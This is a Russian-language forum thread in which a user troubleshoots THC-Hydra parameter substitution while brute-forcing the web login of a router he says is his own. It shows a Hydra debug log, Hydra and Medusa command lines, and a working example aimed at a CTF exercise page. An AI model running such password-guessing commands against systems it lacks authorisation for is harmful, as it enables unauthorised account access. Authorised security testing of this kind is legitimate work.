  401. 0140:  6175 7468 3d61 7574 68                  [ auth=auth        ]

  402. HTTP request sent:[0A]POST /index.cgi HTTP/1.0[0D][0A]Cookie: admin[0D][0A]Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5;en;q=0.3[0D][0A]Accept-Encoding: gzip, deflate[0D][0A]Referer: 192.168.1.1[0D][0A]DNT: [0D][0A]Host: 192.168.1.1[0D][0A]User-Agent: Mozilla/5.0 (Hydra)[0D][0A]Content-Length: 50[0D][0A]Content-Type: application/x-www-form-urlencoded[0D][0A][0D][0A]v2=y&rs_type=html&A1=admin&A2=crabping1&auth=auth[0A]

  403. [DEBUG] hydra_receive_line: waittime: 32, conwait: 0, socket: 7, pid: 3260

  404. [DEBUG] RECV [pid:3260] (16 bytes):

  405. 0000:  4854 5450 2f31 2e30 2032 3030 204f 4b0a    [ HTTP/1.0 200 OK. ]

  406. [DEBUG] hydra_receive_line: waittime: 32, conwait: 0, socket: 7, pid: 3260

  407. [DEBUG] RECV [pid:3260] (1448 bytes):

  408. 0000:  5072 6167 6d61 3a20 6e6f 2d63 6163 6865  [ Pragma: no-cache ]

  409. 0010:  0d0a 4361 6368 652d 436f 6e74 726f 6c3a    [ ..Cache-Control: ]

  410. 0020:  206e 6f2d 6361 6368 652c 206d 7573 742d    [ no-cache, must- ]

  411. 0030:  7265 7661 6c69 6461 7465 0d0a 436f 6e74    [ revalidate..Cont ]

  412. 0040:  656e 742d 7479 7065 3a20 7465 7874 2f68    [ ent-type: text/h ]

  413. 0050:  746d 6c0d 0a45 7870 6972 6573 3a20 5475  [ tml..Expires: Tu ]

  414. 0060:  652c 2030 3220 4a61 6e20 3230 3030 2030  [ e, 02 Jan 2000 0 ]

  415. 0070:  313a 3030 3a30 3020 474d 540d 0a4c 6173  [ 1:00:00 GMT..Las ]

  416. 0080:  742d 4d6f 6469 6669 6564 3a20 5468 752c    [ t-Modified: Thu, ]

  417. 0090:  2030 3120 4a61 6e20 3139 3730 2031 333a    [ 01 Jan 1970 13: ]

  418. 00a0:  3132 3a32 3020 474d 540d 0a53 6574 2d43    [ 12:20 GMT..Set-C ]

  419. 00b0:  6f6f 6b69 653a 2063 6f6f 6b69 655f 6c61    [ ookie: cookie_la ]

  420. 00c0:  6e67 3d72 7573 0d0a 0d0a 3c3f 786d 6c20    [ ng=rus.... ]

  421. 00f0:  0a3c 2144 4f43 5459 5045 2068 746d 6c20    [ ....DSL ]

  422. 01c0:  5f32 3634 304e 5255 3c2f 7469 746c 653e    [ _2640NRU ]

  423. 01d0:  0a3c 6d65 7461 206e 616d 653d 2264 6174  [ . ]

  424. 01f0:  0a3c 6d65 7461 206e 616d 653d 2267 656e    [ ....... ]

  425. 0380:  0a3c 6d65 7461 2068 7474 702d 6571 7569  [ .. ]

  426. 0400:  0a3c 6c69 6e6b 2072 656c 3d22 7368 6f72    [ ...... ]

  427. 0580:  3c2f 7363 7269 7074 3e0a 3c73 6372 6970  [ ... ]

  428. 00a0:  3c2f 7363 7269 7074 3e0a 3c73 6372 6970  [ ....var badAuthKe ]

  429. 0160:  7920 3d20 2262 6164 5f61 7574 6822 3b0a    [ y = "bad_auth";. ]

  430. 0170:  2428 7374 6172 7429 0a3c 2f73 6372 6970  [ $(start).............. ]

  431. 02c0:  3c69 6e70 7574 2074 7970 653d 2268 6964  [ ..DSL_2640NRU.......
    ...
    ..............    ]

  432. [DEBUG] attempt result: found 1, redirect 0, location:

  433. [DEBUG] head_no[0] to target_no 0 active 1

  434. [DEBUG] head_no[0] read N

  435. [STATUS] attack finished for 192.168.1.1 (waiting for children to complete tests)

  436. [DEBUG] head_no 0, kill 1, fail 0

  437. DEBUG_DISCONNECT[DEBUG] all targets done and all heads finished

  438. [DEBUG] while loop left with 1

  439. [DEBUG] killing all remaining children now that might be stuck

  440. 1 of 1 target completed, 0 valid passwords found

  441. Hydra (http://www.thc.org/thc-hydra) finished at 2015-10-28 04:53:11

  442. root@kali:~#

kpa6 28.10.2015 14:39
Я нашёл проблему. Теперь новый вопрос.

Каким образом можно установить переменные ^USER^ и ^PASS^ в заголовки гидры? То есть в :H=client_login=^USER^; client_password=^PASS^?

При подстановке этих значений они не заменяются на логин и пароль

Мой запрос:

Код:
hydra -l admin -p crabping1 192.168.1.1 http-post-form "/index.cgi:v2=y&rs_type=html&A1=^USER^&A2=^PASS^&auth=auth:A2:H=Cookie: cookie_lang=eng; client_login=^USER^; client_password=^PASS^" -fVd
Если изменить в :H переменные ^USER^, ^PASS^ на нужные значения, то всё проходит успешно.

UPD

Даже в описании гидры написано, что ^USER^ и ^PASS^ в заголовках изменяются на значения логина и пароля. В чём проблема то?:!

UPD

Если в заголовке оставлять ^USER^ или ^PASS^, то "сжирается" всё за исключением

"Cookie: admin" На месте "admin" стояло ^USER^

Каким образом можно вставить данные в заголовок так же, как они вставляются в часть запроса?

.SpoilerTarget" type="button">Spoiler: Альтернативная формулировка мысли.
Всем доброго времени суток. Здравствуйте.

Сижу уже второй день, перечитал гору мусора и полезных статей касательно гидры.

Прошерстил каждую строку её хелпы, но всё равно не нашёл ответа.

Есть запрос следующего вида:

Код:
hydra -l admin -p crabping1 192.168.1.1 http-post-form "/index.cgi:v2=y&rs_type=html&A1=^USER^&A2=^PASS^&auth=auth:A2:H=Cookie: cookie_lang=eng; client_login=^USER^; client_password=^PASS^" -fVd
Проблема в том, что переменные ^USER^ и ^PASS^, идущие в заголовокH=) неадекватно воспринимаются гидрой.

Я рассчитывал на то, что эти переменные просто будут заменяться на нужные значения, однако всё пошло к х не так, как я планировал.

С помощью дебага я определил, что в данном случае хеадер получается такой:

Код:
Cookie: admin
То есть всё остальное отрезалось.

Как вы можете понять - значение admin образовалось из переменной ^USER^

Надеюсь на вашу помощь в решении данного вопроса. Свои силы на исходе.

Если же я ставлю заместо ^USER^ и ^PASS^ верные значения, то авторизация проходит успешно.

Так что запрос по своей сути верный.

P.S: роутер свой.

ZombieXLX 16.11.2015 01:59
Используй медузу

# medusa -h 192.168.0.1 -U us -P pw -M http

ACCOUNT FOUND: [http] Host: 192.168.0.1 User: admin Password: admin [SUCCESS]

Kevin Shindel 29.01.2016 12:20
client_login=^USER^&client_password=^PASS^

ты забыл поставить знак &

leksadin 06.02.2016 14:09
проблема решена?

kpa6 14.02.2016 14:33
Цитата:
Сообщение от leksadin
↑
проблема решена?
Тогда я не смог решить эту проблему.

Как вариант - самопись. Делать его не долго.

leksadin 15.02.2016 00:53
Код:
hydra -l "" -P passwords/password-2011.lst http-post-form://ctf.infosecinstitute.com -m '/ctf2/exercises/ex12.php:username=admin&password=^PASS^&logIn=Login:Incorrect username or password combination' -F
можешь взять как пример

P.S. запрос рабочий

kpa6 16.02.2016 01:54
Цитата:
Сообщение от leksadin
↑
Код:
hydra -l "" -P passwords/password-2011.lst http-post-form://ctf.infosecinstitute.com -m '/ctf2/exercises/ex12.php:username=admin&password=^PASS^&logIn=Login:Incorrect username or password combination' -F
можешь взять как пример
P.S. запрос рабочий
Может быть потом понадобится. Спасибо)


Время: 10:16